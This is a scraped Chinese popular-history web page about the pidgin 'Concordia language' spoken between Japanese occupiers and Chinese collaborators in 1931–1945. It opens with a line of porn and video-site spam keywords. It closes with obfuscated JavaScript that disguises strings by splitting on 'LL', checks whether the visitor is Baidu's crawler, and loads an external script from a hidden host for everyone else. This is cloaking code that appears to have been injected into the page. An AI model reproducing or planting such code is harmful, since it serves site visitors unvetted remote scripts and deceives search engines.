久久精品亚洲人人做人人爽|欧美日韩在线观看视频|在线a免费播放a视频|亚洲免费AV在线

<source id="usrd9"><ins id="usrd9"></ins></source>

<form id="usrd9"><tr id="usrd9"></tr></form>
      1. 當(dāng)前位置:首頁(yè) > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

        抗日時(shí)期日本人如何與漢奸交流?原來(lái)還有協(xié)和語(yǔ)

        2017-04-28 21:35:06  來(lái)源:360常識(shí)網(wǎng)   熱度:
        導(dǎo)語(yǔ):不管你是不是抗日神劇的愛(ài)好者,也許你都會(huì)有這樣一個(gè)問(wèn)題:為什么抗日神劇中的高級(jí)軍官都只說(shuō)日語(yǔ),而那些走街串巷的低級(jí)日本軍官,卻每天

        不管你是不是抗日神劇的愛(ài)好者,也許你都會(huì)有這樣一個(gè)問(wèn)題:為什么抗日神劇中的高級(jí)軍官都只說(shuō)日語(yǔ),而那些走街串巷的低級(jí)日本軍官,卻每天只會(huì)哇啦哇啦的說(shuō):“大大滴有”、“花姑娘滴”和“你滴”呢?

        那么,歷史上的日本軍官來(lái)到中國(guó)之后,都是這樣與漢奸交流的嗎?

        且聽(tīng)小編細(xì)細(xì)道來(lái)。

        原來(lái),這樣的語(yǔ)言在歷史上是真實(shí)存在的,自1931年日本占領(lǐng)中國(guó)東北到1945年抗戰(zhàn)結(jié)束期間,日本侵占中國(guó)土地,并有大量的日本人涌進(jìn)中國(guó),這時(shí)候日本人就不可避免的要與中國(guó)人民,尤其是漢奸們打交道,語(yǔ)音不通自然成為了問(wèn)題。

        據(jù)史料記載,抗日戰(zhàn)爭(zhēng)期間,為了“促進(jìn)”與中國(guó)人的交流,日本人曾在中國(guó)的占領(lǐng)地區(qū)推行“皇民化教育”,主要教中國(guó)人說(shuō)日語(yǔ),但是,由于日軍在中國(guó)長(zhǎng)期處于戰(zhàn)爭(zhēng)狀態(tài),所以日語(yǔ)并沒(méi)有推行開(kāi)來(lái)。

        此時(shí),日本的高級(jí)軍官自然是有高級(jí)的隨身翻譯,但是那些低級(jí)的日本小軍官就慘了,沒(méi)有翻譯,還要與中國(guó)漢奸交流,聽(tīng)不懂匯報(bào)不明白情況還要被上級(jí)責(zé)罰,實(shí)在是有些難堪。但是,人還會(huì)被尿憋死了?于是乎,日本人和中國(guó)漢奸說(shuō)著說(shuō)著就產(chǎn)生了這種新的中介語(yǔ)言。而且還有了一個(gè)十分正規(guī)的名字,叫協(xié)和語(yǔ)。

        這種協(xié)和語(yǔ)作為兩個(gè)人群的臨時(shí)交流工具,與一般所說(shuō)的語(yǔ)言相比,具有鮮明的特點(diǎn)。其中,最明顯的特點(diǎn)就是詞語(yǔ)比較簡(jiǎn)單易懂,在使用的時(shí)候雙方都不會(huì)追求言語(yǔ)的豐富精確,目的就是讓對(duì)方聽(tīng)懂就行。什么不要”、“你的”、“我的”、“他的”、“買(mǎi)不買(mǎi)”、“多兒錢(qián)”、“干活計(jì)”、“來(lái)”、“什么”、“王八”、“沒(méi)有”之類的語(yǔ)言,因?yàn)楹?jiǎn)單,都是協(xié)和語(yǔ)的首選。

        此外,協(xié)和語(yǔ)受日語(yǔ)影響,出現(xiàn)了混亂不清的語(yǔ)法特征,更多的在表達(dá)強(qiáng)調(diào)語(yǔ)氣、例如一句簡(jiǎn)單的“你把這個(gè)給我”,用協(xié)和語(yǔ)表示就成了“你滴、這個(gè)、我滴”。這樣看來(lái),抗日神劇中,日本人所說(shuō)的“你滴、大大滴有、花姑娘滴”,而漢奸同時(shí)回答“這里、花姑娘、大大滴有”,就可以合理的解釋了。

        那么,為什么日本人不去學(xué)習(xí)漢語(yǔ),反而只使用簡(jiǎn)單的協(xié)和語(yǔ)呢?從歷史上來(lái)講,要么是被征服者的文明程度遠(yuǎn)遠(yuǎn)超過(guò)征服者,征服者覺(jué)得應(yīng)該主動(dòng)學(xué)習(xí)。要么是征服者人口數(shù)量極少,在長(zhǎng)期傳承中慢慢同化。無(wú)論如何,改學(xué)被征服者的語(yǔ)言并不會(huì)發(fā)生在征服過(guò)程中。除此之外,還有一個(gè)原因,中國(guó)語(yǔ)言博大精深,日本人當(dāng)然學(xué)不會(huì)了,就算要學(xué)短期內(nèi)也絕對(duì)搞不定。

        在日本戰(zhàn)敗之后,中國(guó)處決了大量的漢奸,這種中日雜交語(yǔ)言也就此消失了?,F(xiàn)在想一想,當(dāng)初的日本在中國(guó)的土地上,將漢語(yǔ)改成了如此難聽(tīng)的雜交語(yǔ)言,還是真是拜咱們自己的漢奸所賜??!如果當(dāng)年的漢奸再使使勁兒,“花姑娘滴”、“大大有滴”豈不就成了我們的國(guó)語(yǔ)了?

        轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
        ?
        if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}